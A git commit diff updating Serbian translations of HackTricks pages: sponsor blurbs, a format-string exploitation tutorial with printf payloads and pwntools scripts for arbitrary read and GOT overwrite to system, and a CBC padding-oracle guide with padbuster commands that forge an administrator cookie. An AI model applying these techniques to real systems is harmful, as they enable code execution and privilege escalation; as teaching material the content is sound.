Translated ['README.md', 'binary-exploitation/format-strings/README.md',

This commit is contained in:
Translator 2024-11-09 13:26:54 +00:00
parent c4a064c869
commit 7cf800d84c
43 changed files with 1115 additions and 722 deletions

View file

@ -2,7 +2,7 @@
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logotipi i animacija dizajnirani od_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ _Hacktricks logotipi i animacija od_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %} {% hint style="success" %}
**Dobrodošli u wiki gde ćete pronaći svaku hacking trik/tehniku/šta god da sam naučio iz CTF-ova, aplikacija iz stvarnog života, čitajući istraživanja i vesti.** **Dobrodošli u wiki gde ćete pronaći svaku hacking trik/tehniku/šta god da sam naučio iz CTF-ova, aplikacija iz stvarnog života, čitajući istraživanja i vesti.**
@ -32,7 +32,7 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) je najrelevantnija manifestacija sajber bezbednosti u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini. [**RootedCON**](https://www.rootedcon.com) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -44,7 +44,7 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
**Intigriti** je **broj 1** etička hacking i **bug bounty platforma u Evropi.** **Intigriti** je **broj 1** etička hacking i **bug bounty platforma u Evropi.**
**Saveta za bug bounty**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! **Bug bounty savet**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -71,7 +71,7 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
* **Hacking uvidi:** Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hackinga * **Hacking uvidi:** Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hackinga
* **Vesti o hakovanju u realnom vremenu:** Budite u toku sa brzim svetom hackinga kroz vesti i uvide u realnom vremenu * **Vesti o hakovanju u realnom vremenu:** Budite u toku sa brzim svetom hackinga kroz vesti i uvide u realnom vremenu
* **Najnovija obaveštenja:** Budite informisani o najnovijim bug bounty programima i važnim ažuriranjima platforme * **Najnovija obaveštenja:** Budite informisani o najnovijim nagradama za bugove i važnim ažuriranjima platforme
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! **Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
@ -79,12 +79,14 @@ Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Osnovni alat za penetraciono testiranje ### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Osnovni alat za penetraciono testiranje
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od recon-a do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, pop-up shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
\
{% endembed %} {% endembed %}
@ -100,7 +102,7 @@ Pretplata na jedan od planova SerpApi uključuje pristup više od 50 različitih
Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. Odgovori SerpApi dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage. Za razliku od drugih provajdera, **SerpApi ne sakuplja samo organske rezultate**. Odgovori SerpApi dosledno uključuju sve oglase, inline slike i video zapise, znanje grafove i druge elemente i funkcije prisutne u rezultatima pretrage.
Trenutni klijenti SerpApi uključuju **Apple, Shopify i GrubHub**.\ Trenutni klijenti SerpApi uključuju **Apple, Shopify i GrubHub**.\
Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground-u**](https://serpapi.com/playground)**.**\ Za više informacija pogledajte njihov [**blog**](https://serpapi.com/blog/)**,** ili isprobajte primer u njihovom [**playground**](https://serpapi.com/playground)**.**\
Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\_up)**.** Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\_up)**.**
*** ***
@ -109,9 +111,9 @@ Možete **napraviti besplatan nalog** [**ovde**](https://serpapi.com/users/sign\
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže u **zaštiti** preduzeća **š širom sveta** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom. [**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže **zaštiti** preduzeća **široko u svetu** od najnovijih pretnji u oblasti sajber bezbednosti pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
WebSec je **sve-u-jednom bezbednosna kompanija** što znači da rade sve; Pentesting, **Bezbednosne** revizije, Obuke o svesti, Phishing kampanje, Revizija koda, Razvoj eksploata, Outsourcing bezbednosnih stručnjaka i još mnogo toga. WebSec je **sve-u-jednom bezbednosna kompanija** što znači da rade sve; Pentesting, **Sigurnosne** revizije, Obuke o svesti, Phishing kampanje, Revizija koda, Razvoj eksploata, Outsourcing bezbednosnih stručnjaka i još mnogo toga.
Još jedna zanimljiva stvar o WebSec-u je da, za razliku od proseka u industriji, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, kako stoji na njihovom sajtu "**Ako ne možemo da hakujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)! Još jedna zanimljiva stvar o WebSec-u je da, za razliku od proseka u industriji, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, kako stoji na njihovom sajtu "**Ako ne možemo da hakujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
@ -140,7 +142,7 @@ Učite i vežbajte GCP Hacking: <img src=".gitbook/assets/grte.png" alt="" data-
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -15,13 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basic Information ## Basic Information
U C **`printf`** je funkcija koja se može koristiti za **štampanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** za **zamenu** **formatima** iz sirovog teksta. U C **`printf`** je funkcija koja se može koristiti za **štampanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** za **zamenu** **formata** iz sirovog teksta.
Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**. Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
Ranjivost se pojavljuje kada se **napadački tekst koristi kao prvi argument** ovoj funkciji. Napadač će moći da kreira **poseban unos koji zloupotrebljava** **printf format** string mogućnosti da čita i **piše bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo)**. Na ovaj način će moći da **izvrši proizvoljan kod**. Ranjivost se pojavljuje kada se **napadački tekst koristi kao prvi argument** ovoj funkciji. Napadač će moći da kreira **poseban unos koji zloupotrebljava** **printf format** string mogućnosti da pročita i **zapiše bilo koje podatke na bilo kojoj adresi (čitljivo/zapisivo)**. Na ovaj način će moći da **izvrši proizvoljan kod**.
#### Formatters: #### Formatters:
```bash ```bash
@ -84,7 +91,7 @@ printf("%4$x")
Нападач који контролише овај унос, моћи ће да **дода произвољну адресу у стек и натера `printf` да им приступи**. У следећем одељку биће објашњено како користити ово понашање. Нападач који контролише овај унос, моћи ће да **дода произвољну адресу у стек и натера `printf` да им приступи**. У следећем одељку биће објашњено како користити ово понашање.
{% endhint %} {% endhint %}
## **Произвољно читање** ## **Произвољно Читање**
Могуће је користити форматор **`%n$s`** да натера **`printf`** да добије **адресу** која се налази на **n позицији**, следећи је и **одштампа као да је то стринг** (одштампа до 0x00). Дакле, ако је базна адреса бинарног фајла **`0x8048000`**, и знамо да кориснички унос почиње на 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са: Могуће је користити форматор **`%n$s`** да натера **`printf`** да добије **адресу** која се налази на **n позицији**, следећи је и **одштампа као да је то стринг** (одштампа до 0x00). Дакле, ако је базна адреса бинарног фајла **`0x8048000`**, и знамо да кориснички унос почиње на 4. позицији у стеку, могуће је одштампати почетак бинарног фајла са:
```python ```python
@ -100,7 +107,7 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
``` ```
{% hint style="danger" %} {% hint style="danger" %}
Napomena: ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut na 0x00 na kraju te adrese. Napomena da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut na 0x00 na kraju te adrese.
{% endhint %} {% endhint %}
### Pronađi offset ### Pronađi offset
@ -144,14 +151,14 @@ p.close()
Arbitrarna čitanja mogu biti korisna za: Arbitrarna čitanja mogu biti korisna za:
* **Dump** **binarne** datoteke iz memorije * **Ispis** **binarne** datoteke iz memorije
* **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) * **Pristup specifičnim delovima memorije gde je smeštena** **osetljiva** **informacija** (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom [**CTF izazovu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Arbitrarno pisanje** ## **Arbitrarno Pisanje**
Formatirac **`%<num>$n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi da **`%<num>$n`** piše proizvoljan broj na proizvoljnu adresu. Formatirac **`%<num>$n`** **piše** **broj napisanih bajtova** u **naznačenu adresu** u \<num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi da **`%<num>$n`** piše proizvoljan broj na proizvoljnu adresu.
Na sreću, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu koju pokazuje `num` pozicija**. Srećom, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirac **`%.<num-write>%<num>$n`** da bi se napisao broj **`<num-write>`** u **adresu na koju ukazuje `num` pozicija**.
```bash ```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500 AAAA.%500\$08x —> Param at offset 500
@ -167,7 +174,7 @@ U ovom primeru, cilj će biti da se **prepiše** **adresa** **funkcije** u **GOT
{% endcontent-ref %} {% endcontent-ref %}
Mi ćemo **prepisati** **funkciju** koja **prima** svoje **argumente** od **korisnika** i **usmeriti** je na **`system`** **funkciju**.\ Mi ćemo **prepisati** **funkciju** koja **prima** svoje **argumente** od **korisnika** i **usmeriti** je na **`system`** **funkciju**.\
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo **napišete 2 Bajta** adrese, a zatim ostala 2. Da biste to uradili, koristi se **`$hn`**. Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo **napišete 2Bajta** adrese, a zatim ostala 2. Da biste to uradili, koristi se **`$hn`**.
* **HOB** se poziva na 2 viša bajta adrese * **HOB** se poziva na 2 viša bajta adrese
* **LOB** se poziva na 2 niža bajta adrese * **LOB** se poziva na 2 niža bajta adrese
@ -217,7 +224,7 @@ p.interactive()
``` ```
## Format Strings to BOF ## Format Strings to BOF
Moguće je zloupotrebiti akcije pisanja ranjivosti format string-a da se **piše u adrese steka** i iskoristi ranjivost tipa **buffer overflow**. Moguće je zloupotrebiti akcije pisanja ranjivosti format stringa da se **piše u adrese steka** i iskoristi ranjivost tipa **buffer overflow**.
## Other Examples & References ## Other Examples & References
@ -225,18 +232,22 @@ Moguće je zloupotrebiti akcije pisanja ranjivosti format string-a da se **piše
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) * [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) * [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format string-a za curenje zastavice iz steka (nije potrebno menjati tok izvršenja) * 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format stringova za curenje zastavice iz steka (nije potrebno menjati tok izvršenja)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win) * 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u `.fini_array` (tako da se tok ponovo vrati još jednom) i pisanje adrese u `system` u GOT tabeli koja pokazuje na `strlen`. Kada se tok vrati u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande. * 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u `.fini_array` (tako da se tok ponovo vrati još jednom) i pisanje adrese u `system` u GOT tabeli koja pokazuje na `strlen`. Kada se tok vrati u main, `strlen` se izvršava sa korisničkim unosom i pokazuje na `system`, izvršiće prosleđene komande.
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **hacking karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary> <summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!

View file

@ -15,13 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining ## CBC - Cipher Block Chaining
U CBC modu, **prethodni enkriptovani blok se koristi kao IV** za XOR sa sledećim blokom: U CBC režimu **prethodni enkriptovani blok se koristi kao IV** za XOR sa sledećim blokom:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) ![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
Da bi se dekriptovao CBC, vrše se **suprotne** **operacije**: Da bi se dekriptovao CBC, **vrše se suprotne** **operacije**:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) ![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
@ -47,11 +51,11 @@ Primetite kako je u poslednjem primeru **poslednji blok bio pun, pa je generisan
Kada aplikacija dekriptuje enkriptovane podatke, prvo će dekriptovati podatke; zatim će ukloniti padding. Tokom čišćenja paddinga, ako **nevalidan padding izazove uočljivo ponašanje**, imate **padding oracle ranjivost**. Uočljivo ponašanje može biti **greška**, **nedostatak rezultata**, ili **sporiji odgovor**. Kada aplikacija dekriptuje enkriptovane podatke, prvo će dekriptovati podatke; zatim će ukloniti padding. Tokom čišćenja paddinga, ako **nevalidan padding izazove uočljivo ponašanje**, imate **padding oracle ranjivost**. Uočljivo ponašanje može biti **greška**, **nedostatak rezultata**, ili **sporiji odgovor**.
Ako primetite ovo ponašanje, možete **dekriptuju enkriptovane podatke** i čak **enkriptovati bilo koji čist tekst**. Ako primetite ovo ponašanje, možete **dekriptovati enkriptovane podatke** i čak **enkriptovati bilo koji čist tekst**.
### How to exploit ### Kako iskoristiti
Možete koristiti [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) da iskoristite ovu vrstu ranjivosti ili samo uradite Možete koristiti [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) da iskoristite ovu vrstu ranjivosti ili jednostavno uraditi
``` ```
sudo apt-get install padbuster sudo apt-get install padbuster
``` ```
@ -61,11 +65,11 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
``` ```
**Encoding 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći). **Encoding 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći).
Takođe možete **iskoristiti ovu ranjivost da enkriptujete nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**user=MyUsername**_**", tada ga možete promeniti u "\_user=administrator\_" i eskalirati privilegije unutar aplikacije. Takođe to možete uraditi koristeći `paduster`specifikujući -plaintext** parametar: Takođe možete **iskoristiti ovu ranjivost za enkripciju novih podataka. Na primer, zamislite da je sadržaj kolačića "**_**user=MyUsername**_**", tada ga možete promeniti u "\_user=administrator\_" i eskalirati privilegije unutar aplikacije. Takođe to možete uraditi koristeći `paduster`specifikujući -plaintext** parametar:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u punjenju, ali takođe možete naznačiti poruku o grešci koristeći **-error** parametar. Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u dodavanju, ali takođe možete naznačiti poruku o grešci koristeći **-error** parametar.
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
@ -76,7 +80,7 @@ U **kratko**, možete početi dekriptovanje enkriptovanih podataka pogađanjem i
![](<../.gitbook/assets/image (561).png>) ![](<../.gitbook/assets/image (561).png>)
Zamislite da imate neki enkriptovani tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\ Zamislite da imate neki enkriptovani tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\
Da biste **dekriptovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dekriptovanje blok šifre" generišući **intermedijarne bajtove I0 do I15**.\ Da biste **dekriptovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dekripciju blok cifre" generišući **intermedijarne bajtove I0 do I15**.\
Na kraju, svaki intermedijarni bajt se **XOR-uje** sa prethodnim enkriptovanim bajtovima (E0 do E7). Tako: Na kraju, svaki intermedijarni bajt se **XOR-uje** sa prethodnim enkriptovanim bajtovima (E0 do E7). Tako:
* `C15 = D(E15) ^ E7 = I15 ^ E7` * `C15 = D(E15) ^ E7 = I15 ^ E7`
@ -104,19 +108,23 @@ Registrujte se i otvorite nalog i prijavite se sa tim nalogom.\
Ako se **prijavljujete više puta** i uvek dobijate **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. **Kolačić koji se vraća treba da bude jedinstven** svaki put kada se prijavite. Ako je kolačić **uvek** **isti**, verovatno će uvek biti važeći i neće biti načina da se on **nevaži**. Ako se **prijavljujete više puta** i uvek dobijate **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. **Kolačić koji se vraća treba da bude jedinstven** svaki put kada se prijavite. Ako je kolačić **uvek** **isti**, verovatno će uvek biti važeći i neće biti načina da se on **nevaži**.
Sada, ako pokušate da **modifikujete** **kolačić**, možete videti da dobijate **grešku** iz aplikacije.\ Sada, ako pokušate da **modifikujete** **kolačić**, možete videti da dobijate **grešku** iz aplikacije.\
Ali ako BF-ujete popunu (koristeći padbuster na primer) uspete da dobijete drugi kolačić važeći za drugog korisnika. Ovaj scenario je veoma verovatno ranjiv na padbuster. Ali ako BF popunu (koristeći padbuster na primer) uspete da dobijete drugi kolačić važeći za drugog korisnika. Ovaj scenario je veoma verovatno ranjiv na padbuster.
### Reference ### Reference
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Podrška HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,52 +1,56 @@
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte hakovanje AWS-a:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
